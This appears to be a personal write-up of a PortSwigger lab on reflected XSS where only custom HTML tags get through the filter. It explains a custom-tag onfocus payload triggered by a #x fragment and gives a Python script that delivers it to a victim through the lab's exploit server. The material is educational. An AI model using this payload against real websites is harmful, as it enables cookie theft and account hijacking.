Shubham Ranpise

Back

XSS Lab 15

Exploiting reflected XSS when all HTML tags are blocked except custom ones

portswigger-labs content

Reflected XSS into HTML context with all tags blocked except custom ones#

This lab demonstrates an XSS scenario where all standard HTML tags are blocked, but custom (non-standard) tags are allowed.
By injecting a custom tag with an onfocus event handler, we can trigger JavaScript execution.
The exploit leverages the browser focusing on the element via a hash fragment to execute the payload automatically.

How Exploit Works#

  • Normal HTML tags (<script>, <img>, etc.) are blocked by server-side filtering.
  • Custom tags (like <xss>) are still allowed and can hold event handlers.
  • We inject:
    <xss id=x onfocus=alert(document.cookie) tabindex=1>
    html
  • A hash (#x) in the URL ensures the browser auto-focuses the element, triggering the alert.
  • The script stores and delivers the payload via the exploit server.

Usage#

python3 exploit.py https://<your-lab-id>.web-security-academy.net
cmd

Exploit#

exploit.py
import sys, time, requests, urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

def check_burp():
    try:
        requests.get("http://127.0.0.1:8080", timeout=3)
    except requests.exceptions.RequestException:
        print("[-] Start Burp (127.0.0.1:8080) and rerun"); sys.exit(1)

def deliver(exploit_server, lab_url):
    head = "HTTP/1.1 200 OK\r\nContent-Type: text/html; charset=utf-8"
    payload = "<script>location = '{}/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x';</script>".format(lab_url)
    data = {"responseBody": payload, "responseHead": head, "formAction":"DELIVER_TO_VICTIM",
            "urlIsHttps":"on","responseFile":"/exploit"}
    try:
        r = requests.post(exploit_server, data=data, verify=False, proxies=proxies, timeout=10)
        r.raise_for_status()
        return True
    except requests.exceptions.RequestException:
        return False

def check_solved(lab_url, tries=5, wait=2):
    s = requests.Session()
    for _ in range(tries):
        try:
            r = s.get(lab_url, verify=False, proxies=proxies, timeout=10)
            if "Congratulations" in r.text or "Solved" in r.text:
                return True
        except requests.exceptions.RequestException:
            pass
        time.sleep(wait)
    return False

if __name__ == "__main__":
    if not (2 <= len(sys.argv) <= 3):
        print(f"Usage: python {sys.argv[0]} <lab-url> [exploit-server]"); sys.exit(1)

    lab = sys.argv[1].rstrip('/')
    if len(sys.argv) == 3:
        exploit = sys.argv[2].rstrip('/')
    else:
        print("Exploit server not provided; exiting.")
        sys.exit(1)

    check_burp()
    print(f"[*] Lab URL: {lab}")
    print(f"[*] Exploit Server: {exploit}/")

    print("[*] Delivering the exploit to the victim.. ", end="", flush=True)
    if deliver(exploit, lab):
        print("[+] OK")
    else:
        print("[-] Delivery failed"); sys.exit(1)

    print("[*] Waiting a moment for the exploit to be delivered and triggered...")
    if check_solved(lab, tries=6, wait=2):
        print("[+] Lab solved 🎉")
    else:
        print("[-] Lab not confirmed as solved")
python

See more portswigger-labs